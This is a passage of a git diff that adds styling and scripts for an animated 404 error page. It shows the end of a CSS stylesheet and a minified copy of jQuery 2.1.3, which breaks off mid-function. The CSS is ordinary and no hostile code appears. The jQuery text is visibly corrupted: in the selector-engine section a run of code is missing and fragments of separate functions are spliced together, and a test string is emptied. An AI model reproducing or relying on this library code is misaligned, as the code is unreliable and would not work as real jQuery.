.menu .menu_links .link { + color: white; + text-transform: uppercase; + font-weight: 500; + margin-right: 50px; + letter-spacing: 2px; + position: relative; + transition: all 0.3s 0.2s ease; +} +nav .menu .menu_links .link:last-child { + margin-right: 0; +} +nav .menu .menu_links .link:before { + content: ''; + position: absolute; + width: 0px; + height: 4px; + background: linear-gradient(90deg, #FFEDC0 0%, #FF9D87 100%); + bottom: -10px; + border-radius: 4px; + transition: all 0.4s cubic-bezier(0.82, 0.02, 0.13, 1.26); + left: 100%; +} +nav .menu .menu_links .link:hover { + opacity: 1; + color: #FB8A8A; +} +nav .menu .menu_links .link:hover:before { + width: 40px; + left: 0; +} +nav .menu .menu_icon { + width: 40px; + height: 40px; + position: relative; + display: none; + justify-content: center; + align-items: center; + cursor: pointer; +} +@media screen and (max-width: 799px) { + nav .menu .menu_icon { + display: flex; + } +} +nav .menu .menu_icon .icon { + width: 24px; + height: 2px; + background: white; + position: absolute; +} +nav .menu .menu_icon .icon:before, nav .menu .menu_icon .icon:after { + content: ''; + width: 100%; + height: 100%; + background: inherit; + position: absolute; + transition: all 0.3s cubic-bezier(0.49, 0.04, 0, 1.55); +} +nav .menu .menu_icon .icon:before { + transform: translateY(-8px); +} +nav .menu .menu_icon .icon:after { + transform: translateY(8px); +} +nav .menu .menu_icon:hover .icon { + background: #FFEDC0; +} +nav .menu .menu_icon:hover .icon:before { + transform: translateY(-10px); +} +nav .menu .menu_icon:hover .icon:after { + transform: translateY(10px); +} + +.wrapper { + display: grid; + grid-template-columns: 1fr; + justify-content: center; + align-items: center; + height: 100vh; + overflow-x: hidden; +} +.wrapper .container { + margin: 0 auto; + transition: all 0.4s ease; + display: flex; + justify-content: center; + align-items: center; + position: relative; +} +.wrapper .container .scene { + position: absolute; + width: 100vw; + height: 100vh; + vertical-align: middle; +} +.wrapper .container .one, +.wrapper .container .two, +.wrapper .container .three, +.wrapper .container .circle, +.wrapper .container .p404 { + width: 60%; + height: 60%; + top: 20% !important; + left: 20% !important; + min-width: 400px; + min-height: 400px; +} +.wrapper .container .one .content, +.wrapper .container .two .content, +.wrapper .container .three .content, +.wrapper .container .circle .content, +.wrapper .container .p404 .content { + width: 600px; + height: 600px; + display: flex; + justify-content: center; + align-items: center; + position: absolute; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + animation: content 0.8s cubic-bezier(1, 0.06, 0.25, 1) backwards; +} +@keyframes content { + 0% { + width: 0; + } +} +.wrapper .container .one .content .piece, +.wrapper .container .two .content .piece, +.wrapper .container .three .content .piece, +.wrapper .container .circle .content .piece, +.wrapper .container .p404 .content .piece { + width: 200px; + height: 80px; + display: flex; + position: absolute; + border-radius: 80px; + z-index: 1; + animation: pieceLeft 8s cubic-bezier(1, 0.06, 0.25, 1) infinite both; +} +@keyframes pieceLeft { + 50% { + left: 80%; + width: 10%; + } +} +@keyframes pieceRight { + 50% { + right: 80%; + width: 10%; + } +} +@media screen and (max-width: 799px) { + .wrapper .container .one, + .wrapper .container .two, + .wrapper .container .three, + .wrapper .container .circle, + .wrapper .container .p404 { + width: 90%; + height: 90%; + top: 5% !important; + left: 5% !important; + min-width: 280px; + min-height: 280px; + } +} +@media screen and (max-height: 660px) { + .wrapper .container .one, + .wrapper .container .two, + .wrapper .container .three, + .wrapper .container .circle, + .wrapper .container .p404 { + min-width: 280px; + min-height: 280px; + width: 60%; + height: 60%; + top: 20% !important; + left: 20% !important; + } +} +.wrapper .container .text { + width: 60%; + height: 40%; + min-width: 400px; + min-height: 500px; + position: absolute; + margin: 40px 0; + animation: text 0.6s 1.8s ease backwards; +} +@keyframes text { + 0% { + opacity: 0; + transform: translateY(40px); + } +} +@media screen and (max-width: 799px) { + .wrapper .container .text { + min-height: 400px; + height: 80%; + } +} +.wrapper .container .text article { + width: 400px; + position: absolute; + bottom: 0; + z-index: 4; + display: flex; + flex-direction: column; + justify-content: center; + align-items: center; + text-align: center; + bottom: 0; + left: 50%; + transform: translateX(-50%); +} +@media screen and (max-width: 799px) { + .wrapper .container .text article { + width: 100%; + } +} +.wrapper .container .text article p { + color: white; + font-size: 18px; + letter-spacing: 0.6px; + margin-bottom: 40px; + text-shadow: 6px 6px 10px #32243E; +} +.wrapper .container .text article button { + height: 40px; + padding: 0 30px; + border-radius: 50px; + cursor: pointer; + box-shadow: 0px 15px 20px rgba(54, 24, 79, 0.5); + z-index: 3; + color: #695681; + background-color: white; + text-transform: uppercase; + font-weight: 600; + font-size: 12px; + transition: all 0.3s ease; +} +.wrapper .container .text article button:hover { + box-shadow: 0px 10px 10px -10px rgba(54, 24, 79, 0.5); + transform: translateY(5px); + background: #FB8A8A; + color: white; +} +.wrapper .container .p404 { + font-size: 200px; + font-weight: 700; + letter-spacing: 4px; + color: white; + display: flex !important; + justify-content: center; + align-items: center; + position: absolute; + z-index: 2; + animation: anime404 0.6s cubic-bezier(0.3, 0.8, 1, 1.05) both; + animation-delay: 1.2s; +} +@media screen and (max-width: 799px) { + .wrapper .container .p404 { + font-size: 100px; + } +} +@keyframes anime404 { + 0% { + opacity: 0; + transform: scale(10) skew(20deg, 20deg); + } +} +.wrapper .container .p404:nth-of-type(2) { + color: #36184F; + z-index: 1; + animation-delay: 1s; + filter: blur(10px); + opacity: 0.8; +} +.wrapper .container .circle { + position: absolute; +} +.wrapper .container .circle:before { + content: ''; + position: absolute; + width: 800px; + height: 800px; + background-color: rgba(54, 24, 79, 0.2); + border-radius: 100%; + top: 50%; + left: 50%; + transform: translate(-50%, -50%); + box-shadow: inset 5px 20px 40px rgba(54, 24, 79, 0.25), inset 5px 0px 5px rgba(50, 36, 62, 0.3), inset 5px 5px 20px rgba(50, 36, 62, 0.25), 2px 2px 5px rgba(255, 255, 255, 0.2); + animation: circle 0.8s cubic-bezier(1, 0.06, 0.25, 1) backwards; +} +@keyframes circle { + 0% { + width: 0; + height: 0; + } +} +@media screen and (max-width: 799px) { + .wrapper .container .circle:before { + width: 400px; + height: 400px; + } +} +.wrapper .container .one .content:before { + content: ''; + position: absolute; + width: 600px; + height: 600px; + background-color: rgba(54, 24, 79, 0.3); + border-radius: 100%; + box-shadow: inset 5px 20px 40px rgba(54, 24, 79, 0.25), inset 5px 0px 5px rgba(50, 36, 62, 0.3), inset 5px 5px 20px rgba(50, 36, 62, 0.25), 2px 2px 5px rgba(255, 255, 255, 0.2); + animation: circle 0.8s 0.4s cubic-bezier(1, 0.06, 0.25, 1) backwards; +} +@media screen and (max-width: 799px) { + .wrapper .container .one .content:before { + width: 300px; + height: 300px; + } +} +.wrapper .container .one .content .piece { + background: linear-gradient(90deg, #8077EA 13.7%, #EB73FF 94.65%); +} +.wrapper .container .one .content .piece:nth-child(1) { + right: 15%; + top: 18%; + height: 30px; + width: 120px; + animation-delay: 0.5s; + animation-name: pieceRight; +} +.wrapper .container .one .content .piece:nth-child(2) { + left: 15%; + top: 45%; + width: 150px; + height: 50px; + animation-delay: 1s; + animation-name: pieceLeft; +} +.wrapper .container .one .content .piece:nth-child(3) { + left: 10%; + top: 75%; + height: 20px; + width: 70px; + animation-delay: 1.5s; + animation-name: pieceLeft; +} +.wrapper .container .two .content .piece { + background: linear-gradient(90deg, #FFEDC0 0%, #FF9D87 100%); +} +.wrapper .container .two .content .piece:nth-child(1) { + left: 0%; + top: 25%; + height: 40px; + width: 120px; + animation-delay: 2s; + animation-name: pieceLeft; +} +.wrapper .container .two .content .piece:nth-child(2) { + right: 15%; + top: 35%; + width: 180px; + height: 50px; + animation-delay: 2.5s; + animation-name: pieceRight; +} +.wrapper .container .two .content .piece:nth-child(3) { + right: 10%; + top: 80%; + height: 20px; + width: 160px; + animation-delay: 3s; + animation-name: pieceRight; +} +.wrapper .container .three .content .piece { + background: #FB8A8A; +} +.wrapper .container .three .content .piece:nth-child(1) { + left: 25%; + top: 35%; + height: 20px; + width: 80px; + animation-name: pieceLeft; + animation-delay: 3.5s; +} +.wrapper .container .three .content .piece:nth-child(2) { + right: 10%; + top: 55%; + width: 140px; + height: 40px; + animation-name: pieceRight; + animation-delay: 4s; +} +.wrapper .container .three .content .piece:nth-child(3) { + left: 40%; + top: 68%; + height: 20px; + width: 80px; + animation-name: pieceLeft; + animation-delay: 4.5s; +} \ No newline at end of file diff --git a/404js/jquery.min.js b/404js/jquery.min.js new file mode 100644 index 0000000000..387d814dc8 --- /dev/null +++ b/404js/jquery.min.js @@ -0,0 +1,5 @@ +/*! jQuery v2.1.3 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.3",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var a,b,c,d,e,f,g=arguments[0]||{},h=1,i=arguments.length,j=!1;for("boolean"==typeof g&&(j=g,g=arguments[h]||{},h++),"object"==typeof g||n.isFunction(g)||(g={}),h===i&&(g=this,h--);i>h;h++)if(null!=(a=arguments[h]))for(b in a)c=g[b],d=a[b],g!==d&&(j&&d&&(n.isPlainObject(d)||(e=n.isArray(d)))?(e?(e=!1,f=c&&n.isArray(c)?c:[]):f=c&&n.isPlainObject(c)?c:{},g[b]=n.extend(j,f,d)):void 0!==d&&(g[b]=d));return g},n.extend({expando:"jQuery"+(m+Math.random()).replace(/\D/g,""),isReady:!0,error:function(a){throw new Error(a)},noop:function(){},isFunction:function(a){return"function"===n.type(a)},isArray:Array.isArray,isWindow:function(a){return null!=a&&a===a.window},isNumeric:function(a){return!n.isArray(a)&&a-parseFloat(a)+1>=0},isPlainObject:function(a){return"object"!==n.type(a)||a.nodeType||n.isWindow(a)?!1:a.constructor&&!j.call(a.constructor.prototype,"isPrototypeOf")?!1:!0},isEmptyObject:function(a){var b;for(b in a)return!1;return!0},type:function(a){return null==a?a+"":"object"==typeof a||"function"==typeof a?h[i.call(a)]||"object":typeof a},globalEval:function(a){var b,c=eval;a=n.trim(a),a&&(1===a.indexOf("use strict")?(b=l.createElement("script"),b.text=a,l.head.appendChild(b).parentNode.removeChild(b)):c(a))},camelCase:function(a){return a.replace(p,"ms-").replace(q,r)},nodeName:function(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()},each:function(a,b,c){var d,e=0,f=a.length,g=s(a);if(c){if(g){for(;f>e;e++)if(d=b.apply(a[e],c),d===!1)break}else for(e in a)if(d=b.apply(a[e],c),d===!1)break}else if(g){for(;f>e;e++)if(d=b.call(a[e],e,a[e]),d===!1)break}else for(e in a)if(d=b.call(a[e],e,a[e]),d===!1)break;return a},trim:function(a){return null==a?"":(a+"").replace(o,"")},makeArray:function(a,b){var c=b||[];return null!=a&&(s(Object(a))?n.merge(c,"string"==typeof a?[a]:a):f.call(c,a)),c},inArray:function(a,b,c){return null==b?-1:g.call(b,a,c)},merge:function(a,b){for(var c=+b.length,d=0,e=a.length;c>d;d++)a[e++]=b[d];return a.length=e,a},grep:function(a,b,c){for(var d,e=[],f=0,g=a.length,h=!c;g>f;f++)d=!b(a[f],f),d!==h&&e.push(a[f]);return e},map:function(a,b,c){var d,f=0,g=a.length,h=s(a),i=[];if(h)for(;g>f;f++)d=b(a[f],f,c),null!=d&&i.push(d);else for(f in a)d=b(a[f],f,c),null!=d&&i.push(d);return e.apply([],i)},guid:1,proxy:function(a,b){var c,e,f;return"string"==typeof b&&(c=a[b],b=a,a=c),n.isFunction(a)?(e=d.call(arguments,2),f=function(){return a.apply(b||this,e.concat(d.call(arguments)))},f.guid=a.guid=a.guid||n.guid++,f):void 0},now:Date.now,support:k}),n.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){h["[object "+b+"]"]=b.toLowerCase()});function s(a){var b=a.length,c=n.type(a);return"function"===c||n.isWindow(a)?!1:1===a.nodeType&&b?!0:"array"===c||0===b||"number"==typeof b&&b>0&&b-1 in a}var t=function(a){var b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u="sizzle"+1*new Date,v=a.document,w=0,x=0,y=hb(),z=hb(),A=hb(),B=function(a,b){return a===b&&(l=!0),0},C=1<<31,D={}.hasOwnProperty,E=[],F=E.pop,G=E.push,H=E.push,I=E.slice,J=function(a,b){for(var c=0,d=a.length;d>c;c++)if(a[c]===b)return c;return-1},K="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",L="[\\x20\\t\\r\\n\\f]",M="(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",N=M.replace("w","w#"),O="\\["+L+"*("+M+")(?:"+L+"*([*^$|!~]?=)"+L+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+N+"))|)"+L+"*\\]",P=":("+M+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+O+")*)|.*)\\)|)",Q=new RegExp(L+"+","g"),R=new RegExp("^"+L+"+|((?:^|[^\\\\])(?:\\\\.)*)"+L+"+$","g"),S=new RegExp("^"+L+"*,"+L+"*"),T=new RegExp("^"+L+"*([>+~]|"+L+")"+L+"*"),U=new RegExp("="+L+"*([^\\]'\"]*?)"+L+"*\\]","g"),V=new RegExp(P),W=new RegExp("^"+N+"$"),X={ID:new RegExp("^#("+M+")"),CLASS:new RegExp("^\\.("+M+")"),TAG:new RegExp("^("+M.replace("w","w*")+")"),ATTR:new RegExp("^"+O),PSEUDO:new RegExp("^"+P),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+L+"*(even|odd|(([+-]|)(\\d*)n|)"+L+"*(?:([+-]|)"+L+"*(\\d+)|))"+L+"*\\)|)","i"),bool:new RegExp("^(?:"+K+")$","i"),needsContext:new RegExp("^"+L+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+L+"*((?:-\\d)?\\d*)"+L+"*\\)|)(?=[^-]|$)","i")},Y=/^(?:input|select|textarea|button)$/i,Z=/^h\d$/i,$=/^[^{]+\{\s*\[native \w/,_=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ab=/[+~]/,bb=/'|\\/g,cb=new RegExp("\\\\([\\da-f]{1,6}"+L+"?|("+L+")|.)","ig"),db=function(a,b,c){var d="0x"+b-65536;return d!==d||c?b:0>d?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},eb=function(){m()};try{H.apply(E=I.call(v.childNodes),v.childNodes),E[v.childNodes.length].nodeType}catch(fb){H={apply:E.length?function(a,b){G.apply(a,I.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function gb(a,b,d,e){var f,h,j,k,l,o,r,s,w,x;if((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,d=d||[],k=b.nodeType,"string"!=typeof a||!a||1!==k&&9!==k&&11!==k)return d;if(!e&&p){if(11!==k&&(f=_.exec(a)))if(j=f[1]){if(9===k){if(h=b.getElementById(j),!h||!h.parentNode)return d;if(h.id===j)return d.push(h),d}else if(b.ownerDocument&&(h=b.ownerDocument.getElementById(j))&&t(b,h)&&h.id===j)return d.push(h),d}else{if(f[2])return H.apply(d,b.getElementsByTagName(a)),d;if((j=f[3])&&c.getElementsByClassName)return H.apply(d,b.getElementsByClassName(j)),d}if(c.qsa&&(!q||!q.test(a))){if(s=r=u,w=b,x=1!==k&&a,1===k&&"object"!==b.nodeName.toLowerCase()){o=g(a),(r=b.getAttribute("id"))?s=r.replace(bb,"\\$&"):b.setAttribute("id",s),s="[id='"+s+"'] ",l=o.length;while(l--)o[l]=s+rb(o[l]);w=ab.test(a)&&pb(b.parentNode)||b,x=o.join(",")}if(x)try{return H.apply(d,w.querySelectorAll(x)),d}catch(y){}finally{r||b.removeAttribute("id")}}}return i(a.replace(R,"$1"),b,d,e)}function hb(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ib(a){return a[u]=!0,a}function jb(a){var b=n.createElement("div");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function kb(a,b){var c=a.split("|"),e=a.length;while(e--)d.attrHandle[c[e]]=b}function lb(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&(~b.sourceIndex||C)-(~a.sourceIndex||C);if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function mb(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function nb(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function ob(a){return ib(function(b){return b=+b,ib(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function pb(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=gb.support={},f=gb.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return b?"HTML"!==b.nodeName:!1},m=gb.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=g.documentElement,e=g.defaultView,e&&e!==e.top&&(e.addEventListener?e.addEventListener("unload",eb,!1):e.attachEvent&&e.attachEvent("onunload",eb)),p=!f(g),c.attributes=jb(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=jb(function(a){return a.appendChild(g.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=$.test(g.getElementsByClassName),c.getById=jb(function(a){return o.appendChild(a).id=u,!g.getElementsByName||!g.getElementsByName(u).length}),c.getById?(d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c&&c.parentNode?[c]:[]}},d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){return a.getAttribute("id")===b}}):(delete d.find.ID,d.filter.ID=function(a){var b=a.replace(cb,db);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){return p?b.getElementsByClassName(a):void 0},r=[],q=[],(c.qsa=$.test(g.querySelectorAll))&&(jb(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+L+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+L+"*(?:value|"+K+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),jb(function(a){var b=g.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+L+"*[*^$|!~]?="),a.querySelectorAll(":enabled").length||q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=$.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&jb(function(a){c.disconnectedMatch=s.call(a,"div"),s.call(a,"[s!='']:x"),r.push("!=",P)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=$.test(o.compareDocumentPosition),t=b||$.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===g||a.ownerDocument===v&&t(v,a)?-1:b===g||b.ownerDocument===v&&t(v,b)?1:k?J(k,a)-J(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,h=[a],i=[b];if(!e||!f)return a===g?-1:b===g?1:e?-1:f?1:k?J(k,a)-J(k,b):0;if(e===f)return lb(a,b);c=a;while(c=c.parentNode)h.unshift(c);c=b;while(c=c.parentNode)i.unshift(c);while(h[d]===i[d])d++;return d?lb(h[d],i[d]):h[d]===v?-1:i[d]===v?1:0},g):n},gb.matches=function(a,b){return gb(a,null,null,b)},gb.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(U,"='$1']"),!(!c.matchesSelector||!p||r&&r.test(b)||q&&q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return gb(b,n,null,[a]).length>0},gb.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},gb.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&D.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},gb.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},gb.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=gb.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=gb.selectors={cacheLength:50,createPseudo:ib,match:X,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(cb,db),a[3]=(a[3]||a[4]||a[5]||"").replace(cb,db),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||gb.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&gb.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return X.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&V.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(cb,db).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+L+")"+a+"("+L+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=gb.attr(d,a);return null==e?"!="===b:b?(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(Q," ")+" ").indexOf(c)>-1:"|="===b?e===c||e.slice(0,c.length+1)===c+"-":!1):!0}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||gb.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ib(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ib(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ib(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ib(function(a){return function(b){return gb(a,b).length>0}}),contains:ib(function(a){return a=a.replace(cb,db),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ib(function(a){return W.test(a||"")||gb.error("unsupported lang: "+a),a=a.replace(cb,db).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:ob(function(){return[0]}),last:ob(function(a,b){return[b-1]}),eq:ob(function(a,b,c){return[0>c?c+b:c]}),even:ob(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:ob(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:ob(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:ob(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sb(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function tb(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ub(a,b,c){for(var d=0,e=b.length;e>d;d++)gb(a,b[d],c);return c}function vb(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wb(a,b,c,d,e,f){return d&&!d[u]&&(d=wb(d)),e&&!e[u]&&(e=wb(e,f)),ib(function(f,g,h,i){var 